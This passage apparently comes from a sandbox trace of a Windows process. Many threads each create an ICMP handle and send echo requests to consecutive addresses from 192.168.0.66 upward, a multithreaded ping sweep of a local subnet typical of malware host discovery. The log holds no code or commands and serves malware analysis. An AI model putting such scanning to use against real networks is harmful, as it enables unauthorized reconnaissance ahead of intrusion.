	[0213.507] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a6b40
	[0213.507] SetLastError (dwErrCode=0x57) 
	[0213.507] IcmpCreateFile () returned 0x38aba0
	[0218.472] IcmpSendEcho (IcmpHandle=0x38aba0, DestinationAddress=0x4200a8c0, RequestData=0xd7df960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd7df980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2198
	os_tid = 0xb74

	[0213.508] GetLastError () returned 0x57
	[0213.508] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a6f10
	[0213.508] SetLastError (dwErrCode=0x57) 
	[0213.508] IcmpCreateFile () returned 0x38abf0
	[0218.474] IcmpSendEcho (IcmpHandle=0x38abf0, DestinationAddress=0x4300a8c0, RequestData=0xdd2f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdd2f900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2199
	os_tid = 0x23d4

	[0213.509] GetLastError () returned 0x57
	[0213.509] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a72e0
	[0213.510] SetLastError (dwErrCode=0x57) 
	[0213.510] IcmpCreateFile () returned 0x38ac40
	[0218.475] IcmpSendEcho (IcmpHandle=0x38ac40, DestinationAddress=0x4400a8c0, RequestData=0xdc0fd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdc0fd40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2200
	os_tid = 0x23dc

	[0213.510] GetLastError () returned 0x57
	[0213.510] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a76b0
	[0213.511] SetLastError (dwErrCode=0x57) 
	[0213.511] IcmpCreateFile () returned 0x38ac90
	[0218.477] IcmpSendEcho (IcmpHandle=0x38ac90, DestinationAddress=0x4500a8c0, RequestData=0xde6f7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xde6f800, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2201
	os_tid = 0x23d0

	[0213.512] GetLastError () returned 0x57
	[0213.512] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a7a80
	[0213.512] SetLastError (dwErrCode=0x57) 
	[0213.512] IcmpCreateFile () returned 0x38ace0
	[0218.479] IcmpSendEcho (IcmpHandle=0x38ace0, DestinationAddress=0x4600a8c0, RequestData=0xdfafce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdfafd00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2202
	os_tid = 0x21c0

	[0215.343] GetLastError () returned 0x57
	[0215.343] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a7e50
	[0215.344] SetLastError (dwErrCode=0x57) 
	[0215.344] IcmpCreateFile () returned 0x38ad30
	[0218.483] IcmpSendEcho (IcmpHandle=0x38ad30, DestinationAddress=0x4700a8c0, RequestData=0xe1cfe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe1cfea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2214
	os_tid = 0x2418

	[0215.344] GetLastError () returned 0x57
	[0215.345] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a8220
	[0215.345] SetLastError (dwErrCode=0x57) 
	[0215.345] IcmpCreateFile () returned 0x38ad80
	[0218.485] IcmpSendEcho (IcmpHandle=0x38ad80, DestinationAddress=0x4800a8c0, RequestData=0xe39fd80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe39fda0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2215
	os_tid = 0xd58

	[0215.346] GetLastError () returned 0x57
	[0215.346] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a85f0
	[0215.346] SetLastError (dwErrCode=0x57) 
	[0215.346] IcmpCreateFile () returned 0x38add0
	[0218.486] IcmpSendEcho (IcmpHandle=0x38add0, DestinationAddress=0x4900a8c0, RequestData=0xe5cfb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe5cfb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2216
	os_tid = 0x21c4

	[0215.347] GetLastError () returned 0x57
	[0215.347] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a89c0
	[0215.347] SetLastError (dwErrCode=0x57) 
	[0215.347] IcmpCreateFile () returned 0x38ae20
	[0218.488] IcmpSendEcho (IcmpHandle=0x38ae20, DestinationAddress=0x4a00a8c0, RequestData=0xe77fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe77fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2217
	os_tid = 0x2594

	[0215.348] GetLastError () returned 0x57
	[0215.348] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a8d90
	[0215.348] SetLastError (dwErrCode=0x57) 
	[0215.348] IcmpCreateFile () returned 0x38ae70
	[0218.490] IcmpSendEcho (IcmpHandle=0x38ae70, DestinationAddress=0x4b00a8c0, RequestData=0xe9afaa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe9afac0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2218
	os_tid = 0x2804

	[0215.349] GetLastError () returned 0x57
	[0215.349] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a9160
	[0215.350] SetLastError (dwErrCode=0x57) 
	[0215.350] IcmpCreateFile () returned 0x3ad030
	[0218.491] IcmpSendEcho (IcmpHandle=0x3ad030, DestinationAddress=0x4c00a8c0, RequestData=0xeabfda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xeabfdc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2219
	os_tid = 0x2808

	[0215.352] GetLastError () returned 0x57
	[0215.352] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a9530
	[0215.353] SetLastError (dwErrCode=0x57) 
	[0215.353] IcmpCreateFile () returned 0x3ad080
	[0218.493] IcmpSendEcho (IcmpHandle=0x3ad080, DestinationAddress=0x4d00a8c0, RequestData=0xec2fb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xec2fb20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2220
	os_tid = 0x280c

	[0215.354] GetLastError () returned 0x57
	[0215.354] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a9900
	[0215.355] SetLastError (dwErrCode=0x57) 
	[0215.355] IcmpCreateFile () returned 0x3ad0d0
	[0218.495] IcmpSendEcho (IcmpHandle=0x3ad0d0, DestinationAddress=0x4e00a8c0, RequestData=0xe88fce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe88fd00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2221
	os_tid = 0x2810

	[0215.356] GetLastError () returned 0x57
	[0215.356] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3a9cd0
	[0215.356] SetLastError (dwErrCode=0x57) 
	[0215.356] IcmpCreateFile () returned 0x3ad120
	[0218.497] IcmpSendEcho (IcmpHandle=0x3ad120, DestinationAddress=0x4f00a8c0, RequestData=0xe4cfee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe4cff00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2222
	os_tid = 0x2814

	[0215.357] GetLastError () returned 0x57
	[0215.357] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3aa0a0
	[0215.357] SetLastError (dwErrCode=0x57) 
	[0215.357] IcmpCreateFile () returned 0x3ad170
	[0218.498] IcmpSendEcho (IcmpHandle=0x3ad170, DestinationAddress=0x5000a8c0, RequestData=0xed9fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xed9fd20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2223
	os_tid = 0x2818

	[0215.359] GetLastError () returned 0x57
	[0215.359] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ae030
	[0215.361] SetLastError (dwErrCode=0x57) 
	[0215.361] IcmpCreateFile () returned 0x3ad1c0
	[0218.500] IcmpSendEcho (IcmpHandle=0x3ad1c0, DestinationAddress=0x5100a8c0, RequestData=0xef2fa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xef2fa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2224
	os_tid = 0x281c

	[0215.361] GetLastError () returned 0x57
	[0215.361] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ae400
	[0215.362] SetLastError (dwErrCode=0x57) 
	[0215.362] IcmpCreateFile () returned 0x3ad210
	[0218.501] IcmpSendEcho (IcmpHandle=0x3ad210, DestinationAddress=0x5200a8c0, RequestData=0xf11f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf11f740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2225
	os_tid = 0x2820

	[0215.362] GetLastError () returned 0x57
	[0215.362] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ae7d0
	[0215.363] SetLastError (dwErrCode=0x57) 
	[0215.363] IcmpCreateFile () returned 0x3ad260
	[0218.502] IcmpSendEcho (IcmpHandle=0x3ad260, DestinationAddress=0x5300a8c0, RequestData=0xd5cfa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd5cfaa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2226
	os_tid = 0x2824

	[0215.363] GetLastError () returned 0x57
	[0215.363] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3aeba0
	[0215.364] SetLastError (dwErrCode=0x57) 
	[0215.364] IcmpCreateFile () returned 0x3ad2b0
	[0218.504] IcmpSendEcho (IcmpHandle=0x3ad2b0, DestinationAddress=0x5400a8c0, RequestData=0xf2cf700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf2cf720, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2227
	os_tid = 0x2828

	[0215.364] GetLastError () returned 0x57
	[0215.365] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3aef70
	[0215.365] SetLastError (dwErrCode=0x57) 
	[0215.365] IcmpCreateFile () returned 0x3ad300
	[0218.505] IcmpSendEcho (IcmpHandle=0x3ad300, DestinationAddress=0x5500a8c0, RequestData=0xf53fa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf53fa60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2228
	os_tid = 0x282c

	[0215.367] GetLastError () returned 0x57
	[0215.367] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3af340
	[0215.367] SetLastError (dwErrCode=0x57) 
	[0215.367] IcmpCreateFile () returned 0x3ad350
	[0218.507] IcmpSendEcho (IcmpHandle=0x3ad350, DestinationAddress=0x5600a8c0, RequestData=0xf41fc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf41fc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2229
	os_tid = 0x2830

	[0215.368] GetLastError () returned 0x57
	[0215.368] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3af710
	[0215.368] SetLastError (dwErrCode=0x57) 
	[0215.369] IcmpCreateFile () returned 0x3ad3a0
	[0218.508] IcmpSendEcho (IcmpHandle=0x3ad3a0, DestinationAddress=0x5700a8c0, RequestData=0xf6afd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf6afd80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2230
	os_tid = 0x2834

	[0215.369] GetLastError () returned 0x57
	[0215.369] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3afae0
	[0215.370] SetLastError (dwErrCode=0x57) 
	[0215.370] IcmpCreateFile () returned 0x3ad3f0
	[0218.510] IcmpSendEcho (IcmpHandle=0x3ad3f0, DestinationAddress=0x5800a8c0, RequestData=0xf7bfc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf7bfc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2231
	os_tid = 0x2838

	[0215.370] GetLastError () returned 0x57
	[0215.370] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3afeb0
	[0215.371] SetLastError (dwErrCode=0x57) 
	[0215.371] IcmpCreateFile () returned 0x3ad440
	[0218.511] IcmpSendEcho (IcmpHandle=0x3ad440, DestinationAddress=0x5900a8c0, RequestData=0xf9afae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf9afb00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2232
	os_tid = 0x283c

	[0215.914] GetLastError () returned 0x57
	[0215.914] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3b0280
	[0215.915] SetLastError (dwErrCode=0x57) 
	[0215.915] IcmpCreateFile () returned 0x3ad490
	[0218.513] IcmpSendEcho (IcmpHandle=0x3ad490, DestinationAddress=0x5a00a8c0, RequestData=0xfbbfb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfbbfb20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2248
	os_tid = 0x2888

	[0215.916] GetLastError () returned 0x57
	[0215.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3b0650
	[0215.917] SetLastError (dwErrCode=0x57) 
	[0215.917] IcmpCreateFile () returned 0x3ad4e0
	[0218.515] IcmpSendEcho (IcmpHandle=0x3ad4e0, DestinationAddress=0x5b00a8c0, RequestData=0xfabf700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfabf720, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2249
	os_tid = 0x288c

	[0215.917] GetLastError () returned 0x57
	[0215.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3b0a20
	[0215.918] SetLastError (dwErrCode=0x57) 
	[0215.919] IcmpCreateFile () returned 0x3ad530
	[0218.516] IcmpSendEcho (IcmpHandle=0x3ad530, DestinationAddress=0x5c00a8c0, RequestData=0xfdcfa60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfdcfa80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2250
	os_tid = 0x2890

	[0215.920] GetLastError () returned 0x57
	[0215.920] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3b0df0
	[0215.920] SetLastError (dwErrCode=0x57) 
	[0215.921] IcmpCreateFile () returned 0x3ad580
	[0218.517] IcmpSendEcho (IcmpHandle=0x3ad580, DestinationAddress=0x5d00a8c0, RequestData=0xe0afca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe0afcc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2251
	os_tid = 0x2894

	[0215.921] GetLastError () returned 0x57
	[0215.921] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3b11c0
	[0215.922] SetLastError (dwErrCode=0x57) 
	[0215.922] IcmpCreateFile () returned 0x3ad5d0
	[0218.519] IcmpSendEcho (IcmpHandle=0x3ad5d0, DestinationAddress=0x5e00a8c0, RequestData=0xffafec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xffafee0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2252
	os_tid = 0x2898

	[0215.922] GetLastError () returned 0x57
	[0215.922] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3b1590
	[0215.923] SetLastError (dwErrCode=0x57) 
	[0215.923] IcmpCreateFile () returned 0x3ad620
	[0218.520] IcmpSendEcho (IcmpHandle=0x3ad620, DestinationAddress=0x5f00a8c0, RequestData=0x101afd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x101afd40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2253
	os_tid = 0x289c

	[0215.923] GetLastError () returned 0x57
	[0215.923] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3b1960
	[0215.924] SetLastError (dwErrCode=0x57) 
	[0215.924] IcmpCreateFile () returned 0x3ad670
	[0218.523] IcmpSendEcho (IcmpHandle=0x3ad670, DestinationAddress=0x6000a8c0, RequestData=0x1035fa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1035fa60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2254
	os_tid = 0x28a0

	[0215.924] GetLastError () returned 0x57
	[0215.924] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ba830
	[0215.927] SetLastError (dwErrCode=0x57) 
	[0215.927] IcmpCreateFile () returned 0x3ad6c0
	[0218.527] IcmpSendEcho (IcmpHandle=0x3ad6c0, DestinationAddress=0x6100a8c0, RequestData=0x1046fca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1046fcc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2255
	os_tid = 0x28a4

	[0215.928] GetLastError () returned 0x57
	[0215.928] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bac00
	[0215.928] SetLastError (dwErrCode=0x57) 
	[0215.928] IcmpCreateFile () returned 0x3ad710
	[0218.529] IcmpSendEcho (IcmpHandle=0x3ad710, DestinationAddress=0x6200a8c0, RequestData=0x106bfbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x106bfc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2256
	os_tid = 0x28a8

	[0215.930] GetLastError () returned 0x57
	[0215.930] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bafd0
	[0215.930] SetLastError (dwErrCode=0x57) 
	[0215.930] IcmpCreateFile () returned 0x3ad760
	[0218.530] IcmpSendEcho (IcmpHandle=0x3ad760, DestinationAddress=0x6300a8c0, RequestData=0x1086fb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1086fb80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2257
	os_tid = 0x28ac

	[0215.931] GetLastError () returned 0x57
	[0215.931] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bb3a0
	[0215.931] SetLastError (dwErrCode=0x57) 
	[0215.931] IcmpCreateFile () returned 0x3ad7b0
	[0218.532] IcmpSendEcho (IcmpHandle=0x3ad7b0, DestinationAddress=0x6400a8c0, RequestData=0x109df960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x109df980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2258
	os_tid = 0x28b0

	[0215.931] GetLastError () returned 0x57
	[0215.932] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bb770
	[0215.932] SetLastError (dwErrCode=0x57) 
	[0215.932] IcmpCreateFile () returned 0x3ad800
	[0218.533] IcmpSendEcho (IcmpHandle=0x3ad800, DestinationAddress=0x6500a8c0, RequestData=0x1057fea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1057fec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2259
	os_tid = 0x28b4

	[0215.932] GetLastError () returned 0x57
	[0215.933] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bbb40
	[0215.933] SetLastError (dwErrCode=0x57) 
	[0215.933] IcmpCreateFile () returned 0x3ad850
	[0218.535] IcmpSendEcho (IcmpHandle=0x3ad850, DestinationAddress=0x6600a8c0, RequestData=0x10b4fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10b4fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2260
	os_tid = 0x28b8

	[0215.934] GetLastError () returned 0x57
	[0215.934] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bbf10
	[0215.934] SetLastError (dwErrCode=0x57) 
	[0215.934] IcmpCreateFile () returned 0x3ad8a0
	[0218.536] IcmpSendEcho (IcmpHandle=0x3ad8a0, DestinationAddress=0x6700a8c0, RequestData=0x10c5fe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10c5fe40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2261
	os_tid = 0x28bc

	[0215.935] GetLastError () returned 0x57
	[0215.935] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bc2e0
	[0215.935] SetLastError (dwErrCode=0x57) 
	[0215.935] IcmpCreateFile () returned 0x3ad8f0
	[0218.538] IcmpSendEcho (IcmpHandle=0x3ad8f0, DestinationAddress=0x6800a8c0, RequestData=0x10ecfac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10ecfae0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2262
	os_tid = 0x28c0

	[0215.936] GetLastError () returned 0x57
	[0215.936] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bc6b0
	[0215.936] SetLastError (dwErrCode=0x57) 
	[0215.937] IcmpCreateFile () returned 0x3ad940
	[0218.540] IcmpSendEcho (IcmpHandle=0x3ad940, DestinationAddress=0x6900a8c0, RequestData=0x10dcf860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10dcf880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2263
	os_tid = 0x28c4

	[0216.443] GetLastError () returned 0x57
	[0216.443] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bca80
	[0216.444] SetLastError (dwErrCode=0x57) 
	[0216.444] IcmpCreateFile () returned 0x34c870
	[0218.541] IcmpSendEcho (IcmpHandle=0x34c870, DestinationAddress=0x6a00a8c0, RequestData=0x1115f7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1115f7e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2266
	os_tid = 0x28d4

	[0216.444] GetLastError () returned 0x57
	[0216.445] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bce50
	[0216.445] SetLastError (dwErrCode=0x57) 
	[0216.445] IcmpCreateFile () returned 0x3ada30
	[0218.543] IcmpSendEcho (IcmpHandle=0x3ada30, DestinationAddress=0x6b00a8c0, RequestData=0x10fffc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10fffc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2267
	os_tid = 0x28d8

	[0216.446] GetLastError () returned 0x57
	[0216.446] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bd220
	[0216.446] SetLastError (dwErrCode=0x57) 
	[0216.446] IcmpCreateFile () returned 0x3ada80
	[0218.545] IcmpSendEcho (IcmpHandle=0x3ada80, DestinationAddress=0x6c00a8c0, RequestData=0x113efbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x113efc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2268
	os_tid = 0x28dc

	[0216.447] GetLastError () returned 0x57
	[0216.447] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bd5f0
	[0216.448] SetLastError (dwErrCode=0x57) 
	[0216.448] IcmpCreateFile () returned 0x3adad0
	[0218.548] IcmpSendEcho (IcmpHandle=0x3adad0, DestinationAddress=0x6d00a8c0, RequestData=0x1155f780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1155f7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2269
	os_tid = 0x28e0

	[0216.448] GetLastError () returned 0x57
	[0216.448] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bd9c0
	[0216.449] SetLastError (dwErrCode=0x57) 
	[0216.449] IcmpCreateFile () returned 0x3adb20
	[0218.550] IcmpSendEcho (IcmpHandle=0x3adb20, DestinationAddress=0x6e00a8c0, RequestData=0x116efbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x116efc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2270
	os_tid = 0x28e4

	[0216.450] GetLastError () returned 0x57
	[0216.450] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bdd90
	[0216.450] SetLastError (dwErrCode=0x57) 
	[0216.450] IcmpCreateFile () returned 0x3adb70
	[0218.551] IcmpSendEcho (IcmpHandle=0x3adb70, DestinationAddress=0x6f00a8c0, RequestData=0x117ffea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x117ffec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2271
	os_tid = 0x28e8

	[0216.451] GetLastError () returned 0x57
	[0216.451] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3be160
	[0216.451] SetLastError (dwErrCode=0x57) 
	[0216.452] IcmpCreateFile () returned 0x3adbc0
	[0218.553] IcmpSendEcho (IcmpHandle=0x3adbc0, DestinationAddress=0x7000a8c0, RequestData=0x1196fac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1196fae0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2272
	os_tid = 0x28ec

	[0216.452] GetLastError () returned 0x57
	[0216.452] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bf880
	[0216.455] SetLastError (dwErrCode=0x57) 
	[0216.455] IcmpCreateFile () returned 0x3adc10
	[0218.555] IcmpSendEcho (IcmpHandle=0x3adc10, DestinationAddress=0x7100a8c0, RequestData=0x100afa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x100afaa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2273
	os_tid = 0x28f0

	[0216.456] GetLastError () returned 0x57
	[0216.456] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3bfc50
	[0216.456] SetLastError (dwErrCode=0x57) 
	[0216.456] IcmpCreateFile () returned 0x3adc60
	[0218.642] IcmpSendEcho (IcmpHandle=0x3adc60, DestinationAddress=0x7200a8c0, RequestData=0x11b8f740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11b8f760, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2274
	os_tid = 0x28f4

	[0216.458] GetLastError () returned 0x57
	[0216.458] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c0020
	[0216.459] SetLastError (dwErrCode=0x57) 
	[0216.459] IcmpCreateFile () returned 0x3adcb0
	[0218.643] IcmpSendEcho (IcmpHandle=0x3adcb0, DestinationAddress=0x7300a8c0, RequestData=0x112dfa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x112dfaa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2275
	os_tid = 0x28f8

	[0216.459] GetLastError () returned 0x57
	[0216.459] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c03f0
	[0216.460] SetLastError (dwErrCode=0x57) 
	[0216.460] IcmpCreateFile () returned 0x3add00
	[0218.645] IcmpSendEcho (IcmpHandle=0x3add00, DestinationAddress=0x7400a8c0, RequestData=0x11cffd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11cffd80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2276
	os_tid = 0x28fc

	[0216.461] GetLastError () returned 0x57
	[0216.461] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c07c0
	[0216.461] SetLastError (dwErrCode=0x57) 
	[0216.461] IcmpCreateFile () returned 0x3add50
	[0218.646] IcmpSendEcho (IcmpHandle=0x3add50, DestinationAddress=0x7500a8c0, RequestData=0x11a8f7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11a8f800, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2277
	os_tid = 0x2900

	[0216.462] GetLastError () returned 0x57
	[0216.462] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c0b90
	[0216.462] SetLastError (dwErrCode=0x57) 
	[0216.462] IcmpCreateFile () returned 0x3adda0
	[0218.648] IcmpSendEcho (IcmpHandle=0x3adda0, DestinationAddress=0x7600a8c0, RequestData=0x11effa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11effaa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2278
	os_tid = 0x2904

	[0216.463] GetLastError () returned 0x57
	[0216.463] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c0f60
	[0216.464] SetLastError (dwErrCode=0x57) 
	[0216.464] IcmpCreateFile () returned 0x3addf0
